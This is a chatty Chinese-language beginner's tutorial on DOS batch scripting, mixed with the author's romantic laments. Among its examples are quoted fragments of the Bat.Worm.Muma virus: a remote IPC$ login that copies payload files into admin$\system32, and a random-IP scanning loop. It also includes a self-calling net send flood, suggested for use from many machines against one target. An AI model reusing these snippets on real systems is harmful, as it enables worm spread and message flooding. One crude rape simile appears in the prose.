先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的
----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!
按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to
business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>
>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个 a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
例二、再给出一个已经过时的例子(a.bat):
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。
例三,使用批处理脚本查是否中冰河。脚本内容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected
GLACIER!"
del a.txt
pause & exit
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令
|,后面将详细介绍。
例四,借批处理自动清除系统垃圾,脚本如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I
服了
YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。酸、苦和辣,有没有甜天知道。
为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界.
批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad
command or fail
name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad
command or fail
name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS
更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR
等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。
例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5
行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!
在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
1、@
这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo
off中,@的作用就是让脚本在执行时不显示后面的echo
off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。
2、echo
中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo
on和echo
off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo
off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo
on命令。在例五中,首行的@命令和echo
off命令联合起来,达到了两个目的:不显示echo
off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!
echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default
BAT file name is
START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
echo命令的另一种用法二:可以直接编辑文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。
3、::
这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。
4、pause
中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续.
.
.。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
5、:和goto
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
……
goto end
……
:end
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
6、%
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32⏺.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名参数一
参数二
……。假设这个脚本被保存为a.bat,则执行形式如下:a
IP username
password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。
关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。
批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!
7、if
接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或
help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if
not "%1"=="" goto
usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。
(2)、存在判断。再看例二里这句:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if
not exist C:\Progra~1\Tencent\AD\*.gif
exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause
& edit %1.asm部分)。
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if
not errorlevel 1”和“if errorlevel
0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if
/?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。
在start.bat
中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数
ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By
the
way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):
net send %1 This is a call example.
call a.bat
这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call
a.bat的作用就是调用自身,执行完前一句net
send命令后再调用自身,达到了循环执行的目的。
给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):
call a.bat
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love
is aborted的提示。
9、find
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected
GLACIER!"
del a.txt
pause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626”
,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find
a.txt "7626" && echo "Congratulations! You have infected
GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的
type命令了。
至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。
10、for、set、shift
为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究
Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&&
SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL
NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗......等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。
没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。
不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他
DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、
attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。
可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time
out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。
但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out
of
service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个"振奋人心"的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。
"课间休息"时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。
下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>
11、|
这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:
help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
11.1、
help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net
help回车,则是显示net命令的帮助信息 。
11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more
a.txt和type
a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
